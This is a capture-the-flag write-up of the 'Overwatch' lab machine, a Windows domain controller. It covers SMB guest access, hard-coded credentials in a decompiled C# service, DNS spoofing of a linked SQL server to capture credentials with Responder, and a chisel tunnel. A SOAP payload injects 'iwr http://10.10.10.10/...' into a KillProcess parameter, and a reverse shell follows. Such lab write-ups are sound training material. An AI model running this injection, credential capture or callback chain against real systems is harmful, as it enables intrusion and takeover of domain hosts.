Reconnaissance
PORT STATE SERVICE VERSION
53/tcp open tcpwrapped
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-01-30 21:27:44Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: overwatch.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: overwatch.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=S200401.overwatch.htb
| Not valid before: 2025-12-07T15:16:06
|_Not valid after: 2026-06-08T15:16:06
|_ssl-date: 2026-01-30T21:29:14+00:00; 0s from scanner time.
| rdp-ntlm-info:
| Target_Name: OVERWATCH
| NetBIOS_Domain_Name: OVERWATCH
| NetBIOS_Computer_Name: S200401
| DNS_Domain_Name: overwatch.htb
| DNS_Computer_Name: S200401.overwatch.htb
| DNS_Tree_Name: overwatch.htb
| Product_Version: 10.0.20348
|_ System_Time: 2026-01-30T21:28:35+00:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
6520/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-ntlm-info:
| 10.129.13.159:6520:
| Target_Name: OVERWATCH
| NetBIOS_Domain_Name: OVERWATCH
| NetBIOS_Computer_Name: S200401
| DNS_Domain_Name: overwatch.htb
| DNS_Computer_Name: S200401.overwatch.htb
| DNS_Tree_Name: overwatch.htb
|_ Product_Version: 10.0.20348
| ms-sql-info:
| 10.129.13.159:6520:
| Version:
| name: Microsoft SQL Server 2022 RTM
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 6520
|_ssl-date: 2026-01-30T21:29:14+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-01-30T20:21:48
|_Not valid after: 2056-01-30T20:21:48
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49812/tcp open tcpwrapped
53034/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
53035/tcp open msrpc Microsoft Windows RPC
53958/tcp open msrpc Microsoft Windows RPC
53976/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
| smb2-time:
| date: 2026-01-30T21:28:35
|_ start_date: N/A
Based on the open ports found by nmap, the target is likely a Domain Controller for the overwatch.htb domain called S200401, so I add those to my /etc/hosts file. What strikes me as odd is the MSSQL instance on port 6020 instead of 1433.
Initial Access
First I check for anonymous and guest access on SMB. Using guest as the username and a blank password shows several shares and apparently I can read the software$ one.
$ nxc smb S200401.overwatch.htb -u 'guest' \
-p '' \
--shares
SMB 10.129.13.234 445 S200401 [*] Windows Server 2022 Build 20348 x64 (name:S200401) (domain:overwatch.htb) (signing:True) (SMBv1:False)
SMB 10.129.13.234 445 S200401 [+] overwatch.htb\guest:
SMB 10.129.13.234 445 S200401 [*] Enumerated shares
SMB 10.129.13.234 445 S200401 Share Permissions Remark
SMB 10.129.13.234 445 S200401 ----- ----------- ------
SMB 10.129.13.234 445 S200401 ADMIN$ Remote Admin
SMB 10.129.13.234 445 S200401 C$ Default share
SMB 10.129.13.234 445 S200401 IPC$ READ Remote IPC
SMB 10.129.13.234 445 S200401 NETLOGON Logon server share
SMB 10.129.13.234 445 S200401 software$ READ
SMB 10.129.13.234 445 S200401 SYSVOL Logon server share
$ nxc smb S200401.overwatch.htb -u 'guest' \
-p '' \
--spider 'software$' \
--regex '.'
SMB 10.129.13.234 445 S200401 [*] Windows Server 2022 Build 20348 x64 (name:S200401) (domain:overwatch.htb) (signing:True) (SMBv1:False)
SMB 10.129.13.234 445 S200401 [*] Windows Server 2022 Build 20348 x64 (name:S200401) (domain:overwatch.htb) (signing:True) (SMBv1:False)
SMB 10.129.13.234 445 S200401 [+] overwatch.htb\guest:
SMB 10.129.13.234 445 S200401 [*] Spidering .
SMB 10.129.13.234 445 S200401 //10.129.13.234/software$/. [dir]
SMB 10.129.13.234 445 S200401 //10.129.13.234/software$/.. [dir]
SMB 10.129.13.234 445 S200401 //10.129.13.234/software$/Monitoring [dir]
SMB 10.129.13.234 445 S200401 //10.129.13.234/software$/Monitoring/. [dir]
SMB 10.129.13.234 445 S200401 //10.129.13.234/software$/Monitoring/.. [dir]
SMB 10.129.13.234 445 S200401 //10.129.13.234/software$/Monitoring/EntityFramework.dll [lastm:'2026-01-06 12:25' size:4991352]
SMB 10.129.13.234 445 S200401 //10.129.13.234/software$/Monitoring/EntityFramework.SqlServer.dll [lastm:'2026-01-06 12:25' size:591752]
SMB 10.129.13.234 445 S200401 //10.129.13.234/software$/Monitoring/EntityFramework.SqlServer.xml [lastm:'2026-01-06 12:25' size:163193]
SMB 10.129.13.234 445 S200401 //10.129.13.234/software$/Monitoring/EntityFramework.xml [lastm:'2026-01-06 12:25' size:3738289]
SMB 10.129.13.234 445 S200401 //10.129.13.234/software$/Monitoring/Microsoft.Management.Infrastructure.dll [lastm:'2026-01-06 12:25' size:36864]
SMB 10.129.13.234 445 S200401 //10.129.13.234/software$/Monitoring/overwatch.exe [lastm:'2026-01-06 12:25' size:9728]
SMB 10.129.13.234 445 S200401 //10.129.13.234/software$/Monitoring/overwatch.exe.config [lastm:'2026-01-06 12:25' size:2163]
SMB 10.129.13.234 445 S200401 //10.129.13.234/software$/Monitoring/overwatch.pdb [lastm:'2026-01-06 12:25' size:30208]
SMB 10.129.13.234 445 S200401 //10.129.13.234/software$/Monitoring/System.Data.SQLite.dll [lastm:'2026-01-06 12:25' size:450232]
SMB 10.129.13.234 445 S200401 //10.129.13.234/software$/Monitoring/System.Data.SQLite.EF6.dll [lastm:'2026-01-06 12:25' size:206520]
SMB 10.129.13.234 445 S200401 //10.129.13.234/software$/Monitoring/System.Data.SQLite.Linq.dll [lastm:'2026-01-06 12:25' size:206520]
SMB 10.129.13.234 445 S200401 //10.129.13.234/software$/Monitoring/System.Data.SQLite.xml [lastm:'2026-01-06 12:25' size:1245480]
SMB 10.129.13.234 445 S200401 //10.129.13.234/software$/Monitoring/System.Management.Automation.dll [lastm:'2026-01-06 12:25' size:360448]
SMB 10.129.13.234 445 S200401 //10.129.13.234/software$/Monitoring/System.Management.Automation.xml [lastm:'2026-01-06 12:25' size:7145771]
SMB 10.129.13.234 445 S200401 //10.129.13.234/software$/Monitoring/x64 [dir]
SMB 10.129.13.234 445 S200401 //10.129.13.234/software$/Monitoring/x86 [dir]
SMB 10.129.13.234 445 S200401 //10.129.13.234/software$/Monitoring/x64/. [dir]
SMB 10.129.13.234 445 S200401 //10.129.13.234/software$/Monitoring/x64/.. [dir]
SMB 10.129.13.234 445 S200401 //10.129.13.234/software$/Monitoring/x64/SQLite.Interop.dll [lastm:'2026-01-06 12:25' size:2005688]
SMB 10.129.13.234 445 S200401 //10.129.13.234/software$/Monitoring/x86/. [dir]
SMB 10.129.13.234 445 S200401 //10.129.13.234/software$/Monitoring/x86/.. [dir]
SMB 10.129.13.234 445 S200401 //10.129.13.234/software$/Monitoring/x86/SQLite.Interop.dll [lastm:'2026-01-06 12:25' size:1592504]The software$ share hosts an executable overwatch.exe along with its dependencies and development artifacts. I proceed to download them all with smbclient for further inspection.
$ smbclient '//S200401.overwatch.htb/software$' -U guest ''
Try "help" to get a list of possible commands.
smb: \> mask ""
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
getting file \Monitoring\EntityFramework.dll of size 4991352 as Monitoring/EntityFramework.dll (2318.9 KiloBytes/sec) (average 2318.9 KiloBytes/sec)
getting file \Monitoring\EntityFramework.SqlServer.dll of size 591752 as Monitoring/EntityFramework.SqlServer.dll (2132.4 KiloBytes/sec) (average 2297.6 KiloBytes/sec)
--- SNIP ---
$ tree .
.
└── Monitoring
├── EntityFramework.dll
├── EntityFramework.SqlServer.dll
├── EntityFramework.SqlServer.xml
├── EntityFramework.xml
├── Microsoft.Management.Infrastructure.dll
├── overwatch.exe
├── overwatch.exe.config
├── overwatch.pdb
├── System.Data.SQLite.dll
├── System.Data.SQLite.EF6.dll
├── System.Data.SQLite.Linq.dll
├── System.Data.SQLite.xml
├── System.Management.Automation.dll
├── System.Management.Automation.xml
├── x64
│ └── SQLite.Interop.dll
└── x86
└── SQLite.Interop.dll
4 directories, 16 filesThe executable is written in C# and can therefore be decompiled easily to inspect the source code. I transfer the file to my Windows VM and throw it into dotPeek. This reveals two functionalities. The main function creates some kind of MonitoringService and the CheckEdgeHistory function pulls information from the Edge browser history and adds it to the MSSQL database EventLog. The credentials used for this are hard-coded (sqlsvc:TI0LKcfHzZw1Vv) and might give me access to the instance running on the host.
using System;
using System.Data.Common;
using System.Data.SqlClient;
using System.Data.SQLite;
using System.IO;
using System.ServiceModel;
using System.Timers;
#nullable disable
internal class Program
{
private static void Main(string[] args)
{
ServiceHost serviceHost = new ServiceHost(typeof (MonitoringService), Array.Empty<Uri>());
serviceHost.Open();
Console.WriteLine("Service is running...");
Timer timer = new Timer(30000.0);
timer.Elapsed += new ElapsedEventHandler(Program.CheckEdgeHistory);
timer.Start();
Console.WriteLine("Press Enter to exit...");
Console.ReadLine();
serviceHost.Close();
}
private static void CheckEdgeHistory(object sender, ElapsedEventArgs e)
{
string str1 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft\\Edge\\User Data\\Default\\History");
if (!File.Exists(str1))
return;
string tempFileName = Path.GetTempFileName();
File.Copy(str1, tempFileName, true);
try
{
using (SqlConnection sqlConnection = new SqlConnection("Server=localhost;Database=SecurityLogs;User Id=sqlsvc;Password=TI0LKcfHzZw1Vv;"))
{
sqlConnection.Open();
using (SqlCommand sqlCommand = new SqlCommand())
{
sqlCommand.Connection = sqlConnection;
SQLiteConnection sqLiteConnection = new SQLiteConnection("Data Source=" + tempFileName + ";Version=3;");
((DbConnection) sqLiteConnection).Open();
SQLiteDataReader sqLiteDataReader = new SQLiteCommand("SELECT url, last_visit_time FROM urls ORDER BY last_visit_time DESC LIMIT 5", sqLiteConnection).ExecuteReader();
while (((DbDataReader) sqLiteDataReader).Read())
{
string str2 = "INSERT INTO EventLog (Timestamp, EventType, Details) VALUES (GETDATE(), 'URLVisit', '" + ((DbDataReader) sqLiteDataReader)["url"].ToString() + "')";
sqlCommand.CommandText = str2;
sqlCommand.ExecuteNonQuery();
}
((DbConnection) sqLiteConnection).Close();
}
}
}
catch
{
}
finally
{
File.Delete(tempFileName);
}
}
}Additionally there’s an interface for the MonitoringService that exposes three operations, to start and stop the service as well as killing a process by name.
using System.ServiceModel;
#nullable disable
[ServiceContract]
public interface IMonitoringService
{
[OperationContract]
string StartMonitoring();
[OperationContract]
string StopMonitoring();
[OperationContract]
string KillProcess(string processName);
}Looking at the actual implementation, it uses the same hard-coded credentials for sqlsvc to log its events and is monitoring processes on the host. The KillProcess function is especially interesting since there’s an pretty obvious command injection with the processName parameter.
using Microsoft.Win32;
using System;
using System.Collections.ObjectModel;
using System.Data.SqlClient;
using System.Management;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Text;
#nullable disable
public class MonitoringService : IMonitoringService
{
private ManagementEventWatcher processStartWatcher;
private bool isRunning;
private readonly string connectionString = "Server=localhost;Database=SecurityLogs;User Id=sqlsvc;Password=TI0LKcfHzZw1Vv;";
public string StartMonitoring()
{
if (this.isRunning)
return "Already monitoring.";
SystemEvents.SessionSwitch += new SessionSwitchEventHandler(this.SystemEvents_SessionSwitch);
this.StartProcessWatcher();
this.isRunning = true;
return "Monitoring started.";
}
public string StopMonitoring()
{
if (!this.isRunning)
return "Monitoring not active.";
SystemEvents.SessionSwitch -= new SessionSwitchEventHandler(this.SystemEvents_SessionSwitch);
this.processStartWatcher.Stop();
this.isRunning = false;
return "Monitoring stopped.";
}
private void SystemEvents_SessionSwitch(object sender, SessionSwitchEventArgs e)
{
this.LogEvent("SessionSwitch", "Reason: " + e.Reason.ToString());
}
private void StartProcessWatcher()
{
this.processStartWatcher = new ManagementEventWatcher((EventQuery) new WqlEventQuery("SELECT * FROM Win32_ProcessStartTrace"));
this.processStartWatcher.EventArrived += (EventArrivedEventHandler) ((sender, e) => this.LogEvent("ProcessStart", "Process: " + e.NewEvent.Properties["ProcessName"].Value.ToString()));
this.processStartWatcher.Start();
}
private void LogEvent(string type, string detail)
{
using (SqlConnection connection = new SqlConnection(this.connectionString))
{
SqlCommand sqlCommand = new SqlCommand("INSERT INTO EventLog (Timestamp, EventType, Details) VALUES (GETDATE(), '" + type + "', '" + detail + "')", connection);
connection.Open();
sqlCommand.ExecuteNonQuery();
}
}
public string KillProcess(string processName)
{
string scriptContents = "Stop-Process -Name " + processName + " -Force";
try
{
using (Runspace runspace = RunspaceFactory.CreateRunspace())
{
runspace.Open();
using (Pipeline pipeline = runspace.CreatePipeline())
{
pipeline.Commands.AddScript(scriptContents);
pipeline.Commands.Add("Out-String");
Collection<PSObject> collection = pipeline.Invoke();
runspace.Close();
StringBuilder stringBuilder = new StringBuilder();
foreach (PSObject psObject in collection)
stringBuilder.AppendLine(psObject.ToString());
return stringBuilder.ToString();
}
}
}
catch (Exception ex)
{
return "Error: " + ex.Message;
}
}
}According to the overwatch.exe.config, the MonitoringService should be exposed to overwatch.htb:8000/MonitorService and uses basicHttpBinding, but the port is not available from the outside, so I move on for now.
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<configSections>
<!-- For more information on Entity Framework configuration, visit http://go.microsoft.com/fwlink/?LinkID=237468 -->
<section name="entityFramework" type="System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" requirePermission="false" />
</configSections>
<system.serviceModel>
<services>
<service name="MonitoringService">
<host>
<baseAddresses>
<add baseAddress="http://overwatch.htb:8000/MonitorService" />
</baseAddresses>
</host>
<endpoint address="" binding="basicHttpBinding" contract="IMonitoringService" />
<endpoint address="mex" binding="mexHttpBinding" contract="IMetadataExchange" />
</service>
</services>
<behaviors>
<serviceBehaviors>
<behavior>
<serviceMetadata httpGetEnabled="True" />
<serviceDebug includeExceptionDetailInFaults="True" />
</behavior>
</serviceBehaviors>
</behaviors>
</system.serviceModel>
<entityFramework>
<providers>
<provider invariantName="System.Data.SqlClient" type="System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer" />
<provider invariantName="System.Data.SQLite.EF6" type="System.Data.SQLite.EF6.SQLiteProviderServices, System.Data.SQLite.EF6" />
</providers>
</entityFramework>
<system.data>
<DbProviderFactories>
<remove invariant="System.Data.SQLite.EF6" />
<add name="SQLite Data Provider (Entity Framework 6)" invariant="System.Data.SQLite.EF6" description=".NET Framework Data Provider for SQLite (Entity Framework 6)" type="System.Data.SQLite.EF6.SQLiteProviderFactory, System.Data.SQLite.EF6" />
<remove invariant="System.Data.SQLite" /><add name="SQLite Data Provider" invariant="System.Data.SQLite" description=".NET Framework Data Provider for SQLite" type="System.Data.SQLite.SQLiteFactory, System.Data.SQLite" /></DbProviderFactories>
</system.data>
</configuration>Trying the found credentials with nxc to list the available shares once again, indicates that the credentials are valid.
$ nxc smb S200401.overwatch.htb -u 'sqlsvc' \
-p 'TI0LKcfHzZw1Vv' \
--shares
SMB 10.129.13.234 445 S200401 [*] Windows Server 2022 Build 20348 x64 (name:S200401) (domain:overwatch.htb) (signing:True) (SMBv1:False)
SMB 10.129.13.234 445 S200401 [+] overwatch.htb\sqlsvc:TI0LKcfHzZw1Vv
SMB 10.129.13.234 445 S200401 [*] Enumerated shares
SMB 10.129.13.234 445 S200401 Share Permissions Remark
SMB 10.129.13.234 445 S200401 ----- ----------- ------
SMB 10.129.13.234 445 S200401 ADMIN$ Remote Admin
SMB 10.129.13.234 445 S200401 C$ Default share
SMB 10.129.13.234 445 S200401 IPC$ READ Remote IPC
SMB 10.129.13.234 445 S200401 NETLOGON READ Logon server share
SMB 10.129.13.234 445 S200401 software$ READ
SMB 10.129.13.234 445 S200401 SYSVOL READ Logon server share Privilege Escalation
Shell as sqlmgmt
Even though the user is called sqlsvc, it does not seem to have any special privileges on MSSQL as I’m dropped into a guest shell there. I cannot act as any other user, nor does impersonating work. The only interesting fact seems to be a link to SQL07 that I cannot activate since the connection times out.
$ impacket-mssqlclient -windows-auth \
-p 6520 \
overwatch.htb/sqlsvc:'TI0LKcfHzZw1Vv'@S200401.overwatch.htb
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(S200401\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(S200401\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (OVERWATCH\sqlsvc guest@master)> enum_links
SRV_NAME SRV_PROVIDERNAME SRV_PRODUCT SRV_DATASOURCE SRV_PROVIDERSTRING SRV_LOCATION SRV_CAT
------------------ ---------------- ----------- ------------------ ------------------ ------------ -------
S200401\SQLEXPRESS SQLNCLI SQL Server S200401\SQLEXPRESS NULL NULL NULL
SQL07 SQLNCLI SQL Server SQL07 NULL NULL NULL
Linked Server Local Login Is Self Mapping Remote Login
------------- ----------- --------------- ------------
SQL (OVERWATCH\sqlsvc guest@master)> use_link SQL07
INFO(S200401\SQLEXPRESS): Line 1: OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned message "Login timeout expired".
INFO(S200401\SQLEXPRESS): Line 1: OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned message "A network-related or instance-specific error has occurred while establishing a connection to SQL Server. Server is not found or not accessible. Check if instance name is correct and if SQL Server is configured to allow remote connections. For more information see SQL Server Books Online.".
ERROR(MSOLEDBSQL): Line 0: Named Pipes Provider: Could not open a connection to SQL Server [64].Instead of dumping the whole domain for BloodHound, I first check my current privileges with bloodyAD. Using get writable shows all objects that the user is able to modify and it returns the CREATE_CHILD permissions in the DNS, so I should be able to create new DNS entries.
$ bloodyad -u sqlsvc \
-p 'TI0LKcfHzZw1Vv' \
--host S200401.overwatch.htb \
get writable
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=overwatch,DC=htb
permission: WRITE
distinguishedName: CN=sqlsvc,CN=Users,DC=overwatch,DC=htb
permission: WRITE
distinguishedName: DC=overwatch.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=overwatch,DC=htb
permission: CREATE_CHILD
distinguishedName: DC=_msdcs.overwatch.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=overwatch,DC=htb
permission: CREATE_CHILDAlso with bloodyAD I create a new entry for SQL07 that points to my own host.
$ bloodyad -u sqlsvc \
-p 'TI0LKcfHzZw1Vv' \
--host S200401.overwatch.htb \
add dnsRecord SQL07 10.10.10.10
[+] SQL07 has been successfully addedNow I spin up Responder to catch any incoming requests and then try to activate the linked MSSQL server SQL07 once again. This time the error message changes from timeout to link failure, but Responder prints the credentials sqlmgmt:bIhBbzMMnB82yx.
$ sudo responder -I tun0
--- SNIP ---
[+] Listening for events...
[MSSQL] Cleartext Client : 10.129.13.234
[MSSQL] Cleartext Hostname : SQL07 ()
[MSSQL] Cleartext Username : sqlmgmt
[MSSQL] Cleartext Password : bIhBbzMMnB82yxThis user is part of the Remote Management Users group and I can use WinRM to get an interactive shell on the host to collect the first flag.
$ nxc ldap S200401.overwatch.htb -u 'sqlmgmt' \
-p 'bIhBbzMMnB82yx' \
-M whoami
LDAP 10.129.13.234 389 S200401 [*] Windows Server 2022 Build 20348 (name:S200401) (domain:overwatch.htb) (signing:None) (channel binding:No TLS cert)
LDAP 10.129.13.234 389 S200401 [+] overwatch.htb\sqlmgmt:bIhBbzMMnB82yx
WHOAMI 10.129.13.234 389 S200401 Name: sqlmgmt
WHOAMI 10.129.13.234 389 S200401 sAMAccountName: sqlmgmt
WHOAMI 10.129.13.234 389 S200401 Enabled: Yes
WHOAMI 10.129.13.234 389 S200401 Password Never Expires: Yes
WHOAMI 10.129.13.234 389 S200401 User Principal Name: sqlmgmt@overwatch.htb
WHOAMI 10.129.13.234 389 S200401 Last logon: Never
WHOAMI 10.129.13.234 389 S200401 Password Last Set: 2025-05-17 01:24:21 UTC
WHOAMI 10.129.13.234 389 S200401 Bad Passwod Count: 0
WHOAMI 10.129.13.234 389 S200401 Distinguished Name: CN=sqlmgmt,CN=Users,DC=overwatch,DC=htb
WHOAMI 10.129.13.234 389 S200401 Member of: CN=Remote Management Users,CN=Builtin,DC=overwatch,DC=htb
WHOAMI 10.129.13.234 389 S200401 User SID: S-1-5-21-2797066498-1365161904-233915892-1105Shell as SYSTEM
Now with access to the host, I can check the locally available ports and this time there’s 8000. There’s a good chance the previously found MonitoringService is listening there. Checking out the contents of the hidden directory C:\Software\Monitoring confirms this since the .config matches the one on the SMB share.
In order to access it from my own machine, I upload chisel and use it to open a SOCKS proxy.
PS > Start-Job -ScriptBlock { & C:\Users\sqlmgmt\Documents\chisel.exe client 10.10.10.10:1337 R:socks }
Id Name PSJobTypeName State HasMoreData Location Command
-- ---- ------------- ----- ----------- -------- -------
1 Job1 BackgroundJob Running True localhost & C:\Users\sqlmgmt\Do...Retrieving http://127.0.0.1:8000/MonitorService shows an error message and wants me to add ?wsdl to get the service description. Doing so prints a lengthy XML string that explains the SOAP API for this service.
<?xml version="1.0" encoding="utf-8"?>
<wsdl:definitions name="MonitoringService" targetNamespace="http://tempuri.org/"
xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/"
xmlns:wsx="http://schemas.xmlsoap.org/ws/2004/09/mex"
xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"
xmlns:wsa10="http://www.w3.org/2005/08/addressing"
xmlns:wsp="http://schemas.xmlsoap.org/ws/2004/09/policy"
xmlns:wsap="http://schemas.xmlsoap.org/ws/2004/08/addressing/policy"
xmlns:msc="http://schemas.microsoft.com/ws/2005/12/wsdl/contract"
xmlns:soap12="http://schemas.xmlsoap.org/wsdl/soap12/"
xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing"
xmlns:wsam="http://www.w3.org/2007/05/addressing/metadata"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:tns="http://tempuri.org/"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
xmlns:wsaw="http://www.w3.org/2006/05/addressing/wsdl"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
<wsdl:types>
<xsd:schema targetNamespace="http://tempuri.org/Imports">
<xsd:import schemaLocation="http://overwatch.htb:8000/MonitorService?xsd=xsd0" namespace="http://tempuri.org/"/>
<xsd:import schemaLocation="http://overwatch.htb:8000/MonitorService?xsd=xsd1" namespace="http://schemas.microsoft.com/2003/10/Serialization/"/>
</xsd:schema>
</wsdl:types>
<wsdl:message name="IMonitoringService_StartMonitoring_InputMessage">
<wsdl:part name="parameters" element="tns:StartMonitoring"/>
</wsdl:message>
<wsdl:message name="IMonitoringService_StartMonitoring_OutputMessage">
<wsdl:part name="parameters" element="tns:StartMonitoringResponse"/>
</wsdl:message>
<wsdl:message name="IMonitoringService_StopMonitoring_InputMessage">
<wsdl:part name="parameters" element="tns:StopMonitoring"/>
</wsdl:message>
<wsdl:message name="IMonitoringService_StopMonitoring_OutputMessage">
<wsdl:part name="parameters" element="tns:StopMonitoringResponse"/>
</wsdl:message>
<wsdl:message name="IMonitoringService_KillProcess_InputMessage">
<wsdl:part name="parameters" element="tns:KillProcess"/>
</wsdl:message>
<wsdl:message name="IMonitoringService_KillProcess_OutputMessage">
<wsdl:part name="parameters" element="tns:KillProcessResponse"/>
</wsdl:message>
<wsdl:portType name="IMonitoringService">
<wsdl:operation name="StartMonitoring">
<wsdl:input wsaw:Action="http://tempuri.org/IMonitoringService/StartMonitoring" message="tns:IMonitoringService_StartMonitoring_InputMessage"/>
<wsdl:output wsaw:Action="http://tempuri.org/IMonitoringService/StartMonitoringResponse" message="tns:IMonitoringService_StartMonitoring_OutputMessage"/>
</wsdl:operation>
<wsdl:operation name="StopMonitoring">
<wsdl:input wsaw:Action="http://tempuri.org/IMonitoringService/StopMonitoring" message="tns:IMonitoringService_StopMonitoring_InputMessage"/>
<wsdl:output wsaw:Action="http://tempuri.org/IMonitoringService/StopMonitoringResponse" message="tns:IMonitoringService_StopMonitoring_OutputMessage"/>
</wsdl:operation>
<wsdl:operation name="KillProcess">
<wsdl:input wsaw:Action="http://tempuri.org/IMonitoringService/KillProcess" message="tns:IMonitoringService_KillProcess_InputMessage"/>
<wsdl:output wsaw:Action="http://tempuri.org/IMonitoringService/KillProcessResponse" message="tns:IMonitoringService_KillProcess_OutputMessage"/>
</wsdl:operation>
</wsdl:portType>
<wsdl:binding name="BasicHttpBinding_IMonitoringService" type="tns:IMonitoringService">
<soap:binding transport="http://schemas.xmlsoap.org/soap/http"/>
<wsdl:operation name="StartMonitoring">
<soap:operation soapAction="http://tempuri.org/IMonitoringService/StartMonitoring" style="document"/>
<wsdl:input>
<soap:body use="literal"/>
</wsdl:input>
<wsdl:output>
<soap:body use="literal"/>
</wsdl:output>
</wsdl:operation>
<wsdl:operation name="StopMonitoring">
<soap:operation soapAction="http://tempuri.org/IMonitoringService/StopMonitoring" style="document"/>
<wsdl:input>
<soap:body use="literal"/>
</wsdl:input>
<wsdl:output>
<soap:body use="literal"/>
</wsdl:output>
</wsdl:operation>
<wsdl:operation name="KillProcess">
<soap:operation soapAction="http://tempuri.org/IMonitoringService/KillProcess" style="document"/>
<wsdl:input>
<soap:body use="literal"/>
</wsdl:input>
<wsdl:output>
<soap:body use="literal"/>
</wsdl:output>
</wsdl:operation>
</wsdl:binding>
<wsdl:service name="MonitoringService">
<wsdl:port name="BasicHttpBinding_IMonitoringService" binding="tns:BasicHttpBinding_IMonitoringService">
<soap:address location="http://overwatch.htb:8000/MonitorService"/>
</wsdl:port>
</wsdl:service>
</wsdl:definitions>This lists all the available operations and the namespace http://tempuri.org/. Both are required to call the endpoint via curl. First I create a XML payload that abuses the command injection vulnerability in the KillProcess operation by trying to kill the process notepad.exe and then adding a simple outbound HTTP request to my web server.
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns="http://tempuri.org/">
<soapenv:Body>
<ns:KillProcess>
<ns:processName>notepad.exe; iwr http://10.10.10.10/ping;</ns:processName>
</ns:KillProcess>
</soapenv:Body>
</soapenv:Envelope>Then I use this payload to call the service through the SOCKS proxy with the SOAPAction header set to the operation I want to call1. This does print an error message but also generates a hit on my listener.
$ proxychains -q curl 'http://overwatch.htb:8000/MonitorService' \
-H 'Content-Type: text/xml; charset=utf-8' \
-H 'SOAPAction: http://tempuri.org/IMonitoringService/KillProcess' \
-d @payload.xml
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><KillProcessResponse xmlns="http://tempuri.org/"><KillProcessResult>Error: <!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error response</title>
</head>
<body>
<h1>Error response</h1>
<p>Error code: 404</p>
<p>Message: File not found.</p>
<p>Error code explanation: 404 - Nothing matches the given URI.</p>
</body>
</html>
</KillProcessResult></KillProcessResponse></s:Body></s:Envelope>%Last but not least I modify the payload.xml to include a reverse shell payload and call the service once more. The callback I receive is from NT Authority\System and I can collect the final flag.
$ rlwrap -cAr nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.10.10] from (UNKNOWN) [10.129.13.234] 61163
PS C:\Software\Monitoring> whoami
nt authority\systemAttack Path
flowchart TD subgraph "Initial Access" A(SMB) -->|Guest Access to software$| B(C# executable) B -->|Decompile| C(Hard-coded credentials) B -->|Decompile| I(Command Injection vulnerability) C -->|Valid credentials| D(Access as sqlsvc) end subgraph "Privilege Escalation" D -->|MSSQL| E(Linked server SQL07 without DNS record) D -->|Create DNS record| F(SQL07 pointing to attacker) E & F -->|Use linked server| G(Capture credentials for sqlmgmt) G -->|Remote Management Users| H(Shell as sqlmgmt) H & I -->|Abuse locally running SOAP service| J(Shell as SYSTEM) end
